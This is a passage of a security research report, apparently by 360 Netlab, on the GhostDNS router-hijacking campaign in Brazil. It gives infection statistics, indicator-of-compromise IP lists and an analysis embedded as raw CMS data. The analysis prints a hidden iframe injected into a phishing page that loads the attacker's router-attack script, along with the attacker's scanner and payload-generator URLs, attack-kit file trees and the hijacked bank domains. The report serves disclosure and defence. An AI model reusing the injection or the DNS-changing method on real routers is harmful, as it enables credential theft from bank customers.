Below is the IP addresses of the phishing webserver.


193.70.95.89	  "AS16276 OVH SAS"
198.27.121.241	"AS16276 OVH SAS"
35.237.127.167	"AS15169 Google LLC"




Statistics of Infected Routers


Based on the logs of GhostDNS from 09-21 to 09-27, we have observed 100k+ infected router IP addresses (87.8% located in Brazil), involving 70+ router/firmwares. Due to the dynamic updates of router IP address, the actual number of infected devices should be slightly different.





Below is the country list of infected IP addresses.


BR 91605
BO 7644
AR 2581
SX 339
MX 265
VE 219
US 191
UY 189
CL 138
CO 134
GT 80
EC 71
GY 70
RU 61
RO 51
PY 38
PA 35
UA 34
HN 33
BG 33



Below is the list of web page titles from infected routers.


28ZE
ADSL2 PLUS
AIROS
AN550602B
BaseDashboard
C3T Routers
DIR600 1
DIR-615 DLINK
Dlink DIR-610
Dlink DIR-611
DLINK DIR-905L
DSL Router
DSL Router - GKM 1220
ELSYS CPE-2N
FiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520
FiberLink101
GoAhead-Boa
GoAhead-Webs
GoAhead-Webs Routers
GoAhed 302
GOTHAN
GREATEK
GWR-120
KP8696X
Link One
Mini_httpd
Multilaser Router
OIWTECH
Proqualit Router
Realtek Semiconductor
Realtek Semiconductor [Title]
Roteador ADSL
Roteador Wireless KLR 300N
Roteador Wireless N 150Mbps
Roteador Wireless N 150 Mbps
Roteador Wireless N 300 Mbps
Roteador Wireless N 300 Mbps [ LinkOne ] 
Roteador Wireless N 300 Mbps [Link One]
Roteador Wireless N ( MultiLaser )
Roteador Wireless N [ MultiLaser ]
TENDA
TimDSL
TL-WR740N / TL-WR741ND
TL-WR840N
TL-WR849N
TP-LINK Nano WR702N
TP-LINK Roteador Wireless
TP-LINK Roteador Wireless N WR741ND
TP-LINK TL-WR941HP
TP-LINK Wireless AP WA5210G
TP-LINK Wireless Lite N Router WR740N
TP-LINK Wireless Lite N Router WR749N
TP-LINK Wireless N Gigabit Router WR1043ND
TP-LINK Wireless N Router WR841N/WR841ND
TP-LINK Wireless N Router WR845N
TP-LINK Wireless N Router WR941ND
TP-LINK Wireless Router
TP-LINK WR340G
TP-LINK WR720N
TP-LINK WR740N
TP-LINK WR741N
TP-LINK WR743ND
TP-LINK WR840N
TP-LINK WR841HP
TP-LINK WR841N
TP-LINK WR940N
TP-LINK WR941N
TP-LINK WR949N
Wireless-N Router
Wireless Router
WLAN AP Webserver
ZNID




Summary


The GhostDNS system poses a real threat to Internet. It is highly scaled, utilizes diverse attack vector, adopts automated attack process.


We recommend the broadband users in Brazil to update their router systems, check if the router's default DNS server is changed and set more complicated password for router web portal.


We also recommend the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.


Relevant security agencies are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.


Contact Us


Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.


note:We have informed various ISPs on the IOC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)


IoC list


#Pishing Web Server
[takendown] 193.70.95.89                 "AS16276 OVH SAS"
[takendown] 198.27.121.241	           "AS16276 OVH SAS"
[takendown] 35.237.127.167	           "AS15169 Google LLC"

#Rogue DNS Server
139.60.162.188	           "AS395839 HOSTKEY"
139.60.162.201	           "AS395839 HOSTKEY"
173.82.168.104	           "AS35916 MULTACOM CORPORATION"
18.223.2.98	              "AS16509 Amazon.com, Inc."
185.70.186.4	             "AS57043 Hostkey B.v."
200.196.240.104	          "AS11419 Telefonica Data S.A."
200.196.240.120	          "AS11419 Telefonica Data S.A."
80.211.37.41	             "AS31034 Aruba S.p.A."
[takendown] 35.185.9.164	             "AS15169 Google LLC"
[takendown] 144.22.104.185	           "AS7160 Oracle Corporation"
[takendown] 192.99.187.193	           "AS16276 OVH SAS"
[takendown] 198.27.121.241	           "AS16276 OVH SAS"

#Web Admin Server
[takendown] 198.50.222.139	          "AS16276 OVH SAS"


#DNSChanger Scanner Server
[takendown] 104.196.177.180	          "AS15169 Google LLC"
[takendown] 104.196.232.200	          "AS15169 Google LLC"
[takendown] 104.197.106.6	            "AS15169 Google LLC"
[takendown] 104.198.54.181	           "AS15169 Google LLC"
[takendown] 104.198.77.60	            "AS15169 Google LLC"
[takendown] 198.50.222.139	           "AS16276 OVH SAS"
[takendown] 35.185.127.39	            "AS15169 Google LLC"
[takendown] 35.185.9.164	             "AS15169 Google LLC"
[takendown] 35.187.149.224	           "AS15169 Google LLC"
[takendown] 35.187.202.208	           "AS15169 Google LLC"
[takendown] 35.187.238.80	            "AS15169 Google LLC"
[takendown] 35.188.134.185	           "AS15169 Google LLC"
[takendown] 35.189.101.217	           "AS15169 Google LLC"
[takendown] 35.189.125.149	           "AS15169 Google LLC"
[takendown] 35.189.30.127                "AS15169 Google LLC"
[takendown] 35.189.59.155                "AS15169 Google LLC"
[takendown] 35.189.63.168                "AS15169 Google LLC"
[takendown] 35.189.92.68                 "AS15169 Google LLC"
[takendown] 35.194.197.94                "AS15169 Google LLC"
[takendown] 35.195.116.90                "AS15169 Google LLC"
[takendown] 35.195.176.44                "AS15169 Google LLC"
[takendown] 35.196.101.227               "AS15169 Google LLC"
[takendown] 35.197.148.253               "AS15169 Google LLC"
[takendown] 35.197.172.214               "AS15169 Google LLC"
[takendown] 35.198.11.42                 "AS15169 Google LLC"
[takendown] 35.198.31.197                "AS15169 Google LLC"
[takendown] 35.198.5.34                  "AS15169 Google LLC"
[takendown] 35.198.56.227                "AS15169 Google LLC"
[takendown] 35.199.106.0                 "AS15169 Google LLC"
[takendown] 35.199.2.186                 "AS15169 Google LLC"
[takendown] 35.199.61.19                 "AS15169 Google LLC"
[takendown] 35.199.66.147                "AS15169 Google LLC"
[takendown] 35.199.77.82                 "AS15169 Google LLC"
[takendown] 35.200.179.26                "AS15169 Google LLC"
[takendown] 35.200.28.69                 "AS15169 Google LLC"
[takendown] 35.203.111.239               "AS15169 Google LLC"
[takendown] 35.203.135.65                "AS15169 Google LLC"
[takendown] 35.203.143.138               "AS15169 Google LLC"
[takendown] 35.203.167.224               "AS15169 Google LLC"
[takendown] 35.203.18.30                 "AS15169 Google LLC"
[takendown] 35.203.183.182               "AS15169 Google LLC"
[takendown] 35.203.25.136                "AS15169 Google LLC"
[takendown] 35.203.3.16                  "AS15169 Google LLC"
[takendown] 35.203.48.110                "AS15169 Google LLC"
[takendown] 35.203.5.160                 "AS15169 Google LLC"
[takendown] 35.203.8.203                 "AS15169 Google LLC"
[takendown] 35.204.146.109               "AS15169 Google LLC"
[takendown] 35.204.51.103                "AS15169 Google LLC"
[takendown] 35.204.77.160                "AS15169 Google LLC"
[takendown] 35.204.80.189                "AS15169 Google LLC"
[takendown] 35.205.148.72                "AS15169 Google LLC"
[takendown] 35.205.24.104                "AS15169 Google LLC"
[takendown] 35.221.110.75                "AS19527 Google LLC"
[takendown] 35.221.71.123                "AS19527 Google LLC"
[takendown] 35.227.25.22                 "AS15169 Google LLC"
[takendown] 35.228.156.223               "AS15169 Google LLC"
[takendown] 35.228.156.99                "AS15169 Google LLC"
[takendown] 35.228.240.14                "AS15169 Google LLC"
[takendown] 35.228.244.19                "AS15169 Google LLC"
[takendown] 35.228.73.198                "AS15169 Google LLC"
[takendown] 35.228.90.15                 "AS15169 Google LLC"
[takendown] 35.230.104.237               "AS15169 Google LLC"
[takendown] 35.230.158.25                "AS15169 Google LLC"
[takendown] 35.230.162.54                "AS15169 Google LLC"
[takendown] 35.230.165.35                "AS15169 Google LLC"
[takendown] 35.231.163.40                "AS15169 Google LLC"
[takendown] 35.231.60.255                "AS15169 Google LLC"
[takendown] 35.231.68.186                "AS15169 Google LLC"
[takendown] 35.232.10.244                "AS15169 Google LLC"
[takendown] 35.234.131.31                "AS15169 Google LLC"
[takendown] 35.234.136.116               "AS15169 Google LLC"
[takendown] 35.234.156.85                "AS15169 Google LLC"
[takendown] 35.234.158.120               "AS15169 Google LLC"
[takendown] 35.234.77.117                "AS15169 Google LLC"
[takendown] 35.234.89.25                 "AS15169 Google LLC"
[takendown] 35.234.94.97                 "AS15169 Google LLC"
[takendown] 35.236.117.108               "AS15169 Google LLC"
[takendown] 35.236.2.49                  "AS15169 Google LLC"
[takendown] 35.236.222.1                 "AS15169 Google LLC"
[takendown] 35.236.246.82                "AS15169 Google LLC"
[takendown] 35.236.25.247                "AS15169 Google LLC"
[takendown] 35.236.254.11                "AS15169 Google LLC"
[takendown] 35.236.34.51                 "AS15169 Google LLC"
[takendown] 35.237.127.167               "AS15169 Google LLC"
[takendown] 35.237.204.11                "AS15169 Google LLC"
[takendown] 35.237.215.211               "AS15169 Google LLC"
[takendown] 35.237.32.144                "AS15169 Google LLC"
[takendown] 35.237.68.143                "AS15169 Google LLC"
[takendown] 35.238.4.122                 "AS15169 Google LLC"
[takendown] 35.238.74.24                 "AS15169 Google LLC"
[takendown] 35.240.156.17                "AS15169 Google LLC"
[takendown] 35.240.212.106               "AS15169 Google LLC"
[takendown] 35.240.234.169               "AS15169 Google LLC"
[takendown] 35.240.94.181                "AS15169 Google LLC"
[takendown] 35.241.151.23                "AS15169 Google LLC"
[takendown] 35.242.134.99                "AS15169 Google LLC"
[takendown] 35.242.140.13                "AS15169 Google LLC"
[takendown] 35.242.143.117               "AS15169 Google LLC"
[takendown] 35.242.152.241               "AS15169 Google LLC"
[takendown] 35.242.203.94                "AS15169 Google LLC"
[takendown] 35.242.245.109               "AS15169 Google LLC"
[takendown] 40.74.85.45                  "AS8075 Microsoft Corporation"


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"note:We have informed various ISPs on the IoC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)\n\n### Background introduction\n\nDNSchanger is not something new and was quite active years ago [[1\\]](https://en.wikipedia.org/wiki/DNSChanger), we occasionally encountered one every once in a while, but given the impact they have, we normally don’t bother to write any article.\n\nWith that being said, we have been keeping an eye on a particle one for a while, this one has been active for a long time, and radware has also blogged about it recently[[2\\]](https://blog.radware.com/security/2018/08/iot-hackers-trick-brazilian-bank-customers/). Starting from September 20, 2018, we noticed the campaign starting to ramp up its’ effort significantly with a whole bunch of new scanners, we think it is time to expose more details and take some needed actions. \n\nJust like the regular dnschanger, this campaign attempts to guess the password on the router's web authentication page or bypass the authentication through the dnscfg.cgi exploit, then changes the router's default DNS address to the Rogue DNS Server[[3\\]](https://en.wikipedia.org/wiki/DNSChanger) through the corresponding DNS configuration interface. \n\nBut this campaign has more, we have found three related DNSChanger programs, which we call Shell DNSChanger, Js DNSChanger and PyPhp DNSChanger according to their programming languages. \n\nFurthermore, the above DNSChanger Systems are only part of a larger system that the malware campaign runs. The whole campaign also includes: Phishing Web System, Web Admin System, Rogue DNS System. These four parts work together to perform DNS hijacking function. Here we call the whole campaign GhostDNS.\n\nCurrently the campaign mainly focuses on Brazil, we have counted **100k+** infected router IP addresses (87.8% located in Brazil), and **70+** router/firmware have been involved, and **50+** domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials.\n\n### GhostDNS system\nThe GhostDNS system consists of four parts: DNSChanger module, Phishing Web module, Web Admin module, Rogue DNS module. Among them, the DNSChanger module is responsible for information collection and exploitation.\n\n<a href=\"__GHOST_URL__/content/images/2018/10/ghostdns.png\"><img src=\"__GHOST_URL__/content/images/2018/10/ghostdns2.png\" /></a><center>Figure 1: Flow chart of GhostDNS（click to enlarge image）</center>\n\n#### DNSChanger System\nThe DNSChanger module is the main module of GhostDNS. The attacker uses three DNSChanger sub-modules to carry out attack against routers on both internet and intranet networks. The module includes **100+** attack scripts altogether, affecting **70+** different routers.\n\nThe three DNSChanger sub-modules\n<a href=\"__GHOST_URL__/content/images/2018/09/dnschanger.jpg\"><img src=\"__GHOST_URL__/content/images/2018/09/dnschanger-3.jpg\" /></a>\n\n#### The Shell DNSChanger sub-module\nThe Shell DNSChanger was first available around June 2016. It is basically a combination of **25** attack Shell scripts, which works on **21** routers/firmware.\n\nThis sub-module is only being used lightly, with limited deployment by the attacker.\n\nThis sub-module uses a third-party program, Fast HTTP Auth Scanner v0.6 (FScan) to perform scan. It's configured with a large number of scanning rules, a list of user passwords, and some startup scripts. The Fscan scan IP range is a list of selected network segments, most of which are attributed to Brazil.\n\nAfter the initial scan, this sub-module then uses the router device information collected to perform password crack on the web authentication pages of these routers. If it is success, the default DNS address on the router will be changed to a Rogue DNS server.\n\nThe following is the key code structure of Shell DNSChanger\n```bash\n├── brasil\n├── changers\n│   ├── 3com1\n│   ├── aprouter\n│   ├── dlink1\n│   ├── dlink2\n│   ├── dlink3\n│   ├── dlink4\n│   ├── dlink5\n│   ├── dlink6\n│   ├── dlink7\n│   ├── dlink7_\n│   ├── globaltronic\n│   ├── huawei\n│   ├── intelbrass\n│   ├── kaiomy\n│   ├── mikrotik\n│   ├── oiwtech\n│   ├── ralink\n│   ├── realtek\n│   ├── speedstream\n│   ├── speedtouch\n│   ├── speedtouch2\n│   ├── tplink1\n│   ├── tplink2\n│   ├── tplink3\n│   ├── triz\n│   └── viking\n├── configs\n├── logs\n├── mdetector\n├── mikrotik\n├── ralink\n├── src\n│   ├── BasicAuth.cpp\n│   ├── Makefile\n│   ├── Net-Telnet-3.03.tar.gz\n│   ├── base64.cpp\n│   ├── config.cpp\n│   ├── fscan.cpp\n│   ├── md5.cpp\n│   ├── md5.h\n│   ├── sockets.cpp\n│   ├── sslscanner.h\n│   ├── ulimit\n│   └── webforms.cpp\n├── .fscan\n└── .timeout\n```\n\nThe following are affected routers/firmwares that we have identified\n```bash\n3COM OCR-812\nAP-ROUTER\nD-LINK\nD-LINK DSL-2640T\nD-LINK DSL-2740R\nD-LINK DSL-500\nD-LINK DSL-500G/DSL-502G\nHuawei SmartAX MT880a\nIntelbras WRN240-1\nKaiomy Router\nMikroTiK Routers\nOIWTECH OIW-2415CPE\nRalink Routers\nSpeedStream\nSpeedTouch\nTenda\nTP-LINK TD-W8901G/TD-W8961ND/TD-8816\nTP-LINK TD-W8960N\nTP-LINK TL-WR740N\nTRIZ TZ5500E/VIKING\nVIKING/DSLINK 200 U/E\n```\n\n####The Js DNSChanger sub-module\n\nJs DNSChanger is mainly written in Javascript. It involves 10 attack scripts, which can infect 6 routers/firmware. Its functional structure is mainly divided into scanners, payload generators and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Pishing Web System.\n\nFor example, a Js DNSChanger code on the home page of  `35.236.25.247` (the title of the website is: Convertidor Youtube Mp3 | Mp3 youtube).\n\n```html\n<iframe src=\"http://193.70.95.89/2021/\"  frameborder=\"0\" height=\"0\" scrolling=\"no\" title=\"no\" width=\"0\"></iframe>\n```\n\nThe attacker uses the Image() function to perform port scan on a list of predefined intranet IP addresses commonly used by routers. If the port is detected to be open, the corresponding intranet IP will be passed along to the payload generator.\n\n```\n#Scanner\nhttp://193.70.95.89/2021/index2.php\n```\n\nThe payload generator generates Base64 encoded payload based on the router IP and Rogue DNS IP. The payload includes the attacker program, and is run in the form of Data URI Scheme.\n\n```\n#Payload generator\nhttp://193.70.95.89/2021/api.init.php?d=192.168.1.1\n```\n\nThe attacker program in the payload constructs http requests via jQuery.ajax. These requests perform password guessing on the web authentication page of these routers, and then changes the default DNS address of the router to the Rogue DNS Server through the corresponding DNS configuration interface.\n\nThe following is part of the code structure of JS DNSChanger:\n```bash\n├── api.init.php\n├── index.php\n└── index2.php\n```\n\nThe following are affected routers/firmwares that we identified\n```bash\nA-Link WL54AP3 / WL54AP2\nD-Link DIR-905L\nRoteador GWR-120\nSecutech RiS Firmware\nSMARTGATE\nTP-Link TL-WR841N / TL-WR841ND\n```\n\nThe following is the IP range it scans\n```\n192.168.0.1\n192.168.15.1\n192.168.1.1\n192.168.25.1\n192.168.100.1\n10.0.0.1\n192.168.2.1\n```\n\n####The PyPhp DNSChanger sub-module\n\nPyPhp DNSChanger is the core module of DNSChanger, we have observed that the attacker has deployed this program on 100+ servers, most of which on Google Cloud. This sub-module was developed around 2018-04-26, using both python and php. It mainly composes of three parts:\n\nWeb API. Through which attacker can control and schedule to run the program conveniently.\n\nScanner. The scanner utilizes both Masscan port scanning and Shodan API service (to pick specific banners) to obtain target router IPs located only in Brazil. It is interesting that the Shodan API Key here is also being used by another education and research project on Github. We suspect that this Shodan API key is leaked and abused by attacker.\n\nInformation of the Shodan API key is as follow:\n```bash\nAPI key: LI****Lg9P8****X5iy****AaRO\nCreated: 2017-11-03T16:55:13.425000\nPlan: EDU\n```\n\nAttack Module. The attack module totally includes 69 attack scripts against 47 different routers/firmwares. It collects active router IPs from scanner and launchs Web authentication bruteforce or dnscfg.cgi vulnerability exploits to bypass authentication, after that it will change the routers' default DNS resolver to the rogue DNS server, which is used to hijack specific websites for phishing.\nInterestingly, we discovered that the PyPhp DNSChanger node has some nice infection statistics, from which we can see the current infection details on each node. Below is a site screenshot.\n\n\n![log](__GHOST_URL__/content/images/2018/09/log.png)\n\nThe code structure of PyPhp DNSChanger\n```bash\n├── api\n├── application\n│   ├── class\n│   │   ├── routers\n│   │   │   ├── routers.28ZE.php\n│   │   │   ├── routers.AN5506-02-B.php\n│   │   │   ├── routers.ELSYSCPE-2N.php\n│   │   │   ├── routers.PQWS2401.php\n│   │   │   ├── routers.TLWR840N.php\n│   │   │   ├── routers.WR941ND.php\n│   │   │   ├── routers.airos.php\n│   │   │   ├── routers.c3t.php\n│   │   │   ├── routers.cisconew.php\n│   │   │   ├── routers.dlink.905.php\n│   │   │   ├── routers.dlink.dir600.php\n│   │   │   ├── routers.dlink.dir610.php\n│   │   │   ├── routers.dlink.dir610o.php\n│   │   │   ├── routers.dlink.dir615.php\n│   │   │   ├── routers.fiberhome.php\n│   │   │   ├── routers.fiberhomenew.php\n│   │   │   ├── routers.ghotanboa.php\n│   │   │   ├── routers.goahed.php\n│   │   │   ├── routers.greatek.php\n│   │   │   ├── routers.greatek2.php\n│   │   │   ├── routers.gwr120.php\n│   │   │   ├── routers.huawei.php\n│   │   │   ├── routers.intelbras.php\n│   │   │   ├── routers.intelbras.wrn240.php\n│   │   │   ├── routers.intelbras.wrn300.php\n│   │   │   ├── routers.intelbrasN150.php\n│   │   │   ├── routers.linkone.php\n│   │   │   ├── routers.livetimdslbasic.php\n│   │   │   ├── routers.livetimsagecom.php\n│   │   │   ├── routers.mikrotkit.php\n│   │   │   ├── routers.multilaser.php\n│   │   │   ├── routers.oiwtech.php\n│   │   │   ├── routers.othermodels.php\n│   │   │   ├── routers.sharecenter.php\n│   │   │   ├── routers.thomson.php\n│   │   │   ├── routers.timdsl.php\n│   │   │   ├── routers.timvmg3312.php\n│   │   │   ├── routers.wirelessnrouter.php\n│   │   │   ├── routers.wrn1043nd.php\n│   │   │   ├── routers.wrn342.php\n│   │   │   ├── routers.wrn720n.php\n│   │   │   ├── routers.wrn740n.php\n│   │   │   ├── routers.wrn749n.php\n│   │   │   ├── routers.wrn840n.php\n│   │   │   ├── routers.wrn841n.php\n│   │   │   └── routers.wrn845n.php\n│   │   ├── routers_py\n│   │   │   ├── WR300build8333.py\n│   │   │   ├── install.sh\n│   │   │   ├── router.ArcherC7.py\n│   │   │   ├── router.FiberLink101.py\n│   │   │   ├── router.GEPONONU.py\n│   │   │   ├── router.PNRT150M.py\n│   │   │   ├── router.QBR1041WU.py\n│   │   │   ├── router.RoteadorWirelessN300Mbps.py\n│   │   │   ├── router.SAPIDORB1830.py\n│   │   │   ├── router.TENDAWirelessNBroadbandrouter.py\n│   │   │   ├── router.TLWR840N.py\n│   │   │   ├── router.TLWR841N.py\n│   │   │   ├── router.TLWR849N.py\n│   │   │   ├── router.TPLINKWR841N.py\n│   │   │   ├── router.TechnicLanWAR54GSv2.py\n│   │   │   ├── router.TendaWirelessRouter.py\n│   │   │   ├── router.WEBManagementSystem.py\n│   │   │   ├── router.WLANBroadbandRouter.py\n│   │   │   ├── router.WebUI.py\n│   │   │   ├── router.WirelessNWRN150R.py\n│   │   │   ├── router.WirelessRouter.py\n│   │   │   ├── router.WiveNGMTrouterfirmware.py\n│   │   │   ├── router.ZXHNH208N.py\n│   │   │   └── scan\n│   │   │       ├── __init__.py\n│   │   │       └── password.py\n│   │   ├── scanner\n│   │   │   └── class.scanner.utils.php\n│   │   ├── shodan\n│   │   │   ├── class.shodan.php\n│   │   │   └── cookie.txt\n│   │   ├── utils\n│   │   │   ├── class.colors.php\n│   │   │   ├── class.utils.php\n│   │   │   └── class.webrequest.php\n│   │   └── web\n│   │       ├── blockedtitles\n│   │       ├── class.web.api.php\n│   │       └── class.web.interface.php\n│   ├── config.bruteforce.php\n│   ├── config.init.php\n│   ├── config.layout.php\n│   ├── config.rangelist - bkp.php\n│   ├── config.rangelist.php\n│   ├── config.routers.php\n│   ├── config.scanner.php\n│   ├── launchers\n│   │   └── attack\n│   │       └── launch\n│   └── logs\n├── logs\n│   ├── change.log\n│   └── gravar.php\n├── parse_logs\n└── scanner\n    ├── api.php\n    ├── extrator.php\n    ├── ranged_scanner.php\n    ├── rodar.php\n    ├── rodarlista.php\n    ├── shodan.php\n    └── teste.py\n```\n\nThe affected router/firmware we have identified\n```\nAirRouter AirOS\nAntena PQWS2401\nC3-TECH Router\nCisco Router\nD-Link DIR-600\nD-Link DIR-610\nD-Link DIR-615\nD-Link DIR-905L\nD-Link ShareCenter\nElsys CPE-2n\nFiberhome\nFiberhome AN5506-02-B\nFiberlink 101\nGPON ONU\nGreatek\nGWR 120\nHuawei\nIntelbras WRN 150\nIntelbras WRN 240\nIntelbras WRN 300\nLINKONE\nMikroTik\nMultilaser\nOIWTECH\nPFTP-WR300\nQBR-1041 WU\nRoteador PNRT150M\nRoteador Wireless N 300Mbps\nRoteador WRN150\nRoteador WRN342\nSapido RB-1830\nTECHNIC LAN WAR-54GS\nTenda Wireless-N Broadband Router\nThomson\nTP-Link Archer C7\nTP-Link TL-WR1043ND\nTP-Link TL-WR720N\nTP-Link TL-WR740N\nTP-Link TL-WR749N\nTP-Link TL-WR840N\nTP-Link TL-WR841N\nTP-Link TL-WR845N\nTP-Link TL-WR849N\nTP-Link TL-WR941ND\nWive-NG routers firmware\nZXHN H208N\nZyxel VMG3312\n```\n\n#### The Web Admin System\nWe also have discovered a web admin website on one of the PyPhp DNSChanger node. We do not have too much information about this system yet, but we strongly believe that it is an admin system.\n\n![log](__GHOST_URL__/content/images/2018/09/webadmin.png)\n\nWe notice a special label \"Elite Priv8\" on the login page of the Web Admin System.  After some googling, we found the same description on a post titled \"testador santander banking 2.1 versão beta elitepriv8\" on a Brazilian security forum[[4\\]](http://www.forum-hacker.com.br/archive/index.php/t-537.html). \n\nThe following is the IP address of Web Admin Server\n```\n198.50.222.139\t\"AS16276 OVH SAS\"\n```\n\n#### The Rogue DNS System\nWe have no access to the Rogue DNS server, so we can’t say for sure how many dns names have been hijacked, but by querying both Alexa Top1M and our DNSMon’s Top1M domains against the rogue DNS server (139.60.162.188) , we were able to find a total of 52 domains being hijacked. The hijacked domains mainly involve bank, cloud hosting service as well as a security company named Avira.\n\nBelow is the hijack result details of rogue DNS server (139.60.162.188), note a security company avira.com.br also gets resolved to 0.0.0.0\n```\n{\"domain\": \"avira.com.br\", \"rdata\": [\"0.0.0.0\"]}\n{\"domain\": \"banco.bradesco\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"bancobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bancodobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradesco.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradesconetempresa.b.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradescopj.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"br.wordpress.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"caixa.gov.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"citibank.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"clickconta.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"contasuper.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"credicard.com.br\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"hostgator.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"itau.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"itaupersonnalite.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"kinghost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"locaweb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"netflix.com.br\", \"rdata\": [\"35.237.127.167\"]}\n{\"domain\": \"netflix.com\", \"rdata\": [\"35.237.127.167\"]}\n{\"domain\": \"painelhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"santander.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"santandernet.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"sicredi.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"superdigital.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"umbler.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"uolhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.banco.bradesco\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"www.bancobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bradesco.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bradesconetempresa.b.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bradescopj.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.br.wordpress.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.caixa.gov.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.citibank.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.credicard.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.hostgator.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.itau.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.kinghost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.locaweb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.netflix.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.netflix.net\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.painelhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.santander.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.santandernet.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.sicredi.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.superdigital.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.umbler.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.uolhost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.uolhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n```\n\nBelow is the list of rogue DNS servers we have discovered.\n```\n139.60.162.188\t   \"AS395839 HOSTKEY\"\n139.60.162.201\t   \"AS395839 HOSTKEY\"\n144.22.104.185\t   \"AS7160 Oracle Corporation\"\n173.82.168.104\t   \"AS35916 MULTACOM CORPORATION\"\n18.223.2.98\t      \"AS16509 Amazon.com, Inc.\"\n185.70.186.4\t     \"AS57043 Hostkey B.v.\"\n192.99.187.193\t   \"AS16276 OVH SAS\"\n198.27.121.241\t   \"AS16276 OVH SAS\"\n200.196.240.104  \t\"AS11419 Telefonica Data S.A.\"\n200.196.240.120\t  \"AS11419 Telefonica Data S.A.\"\n35.185.9.164\t     \"AS15169 Google LLC\"\n80.211.37.41\t     \"AS31034 Aruba S.p.A.\"\n```\n#### The Phishing Web System\n\nThe rogue DNS server hijacks specific domains and resolves their IP addresses to the Phishing webserver, which will respond the victims with specific phishing sites for the corresponding hostname.\n\nProbing the phising server with the 52 hijacked domains, we were able to discover 19 different phishing websites.\n```\nmd5, url, hostname, pishing web api\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php']\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php']\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php']\n4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php']\n4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php']\n492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php']\n492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php']\n492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php']\n5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 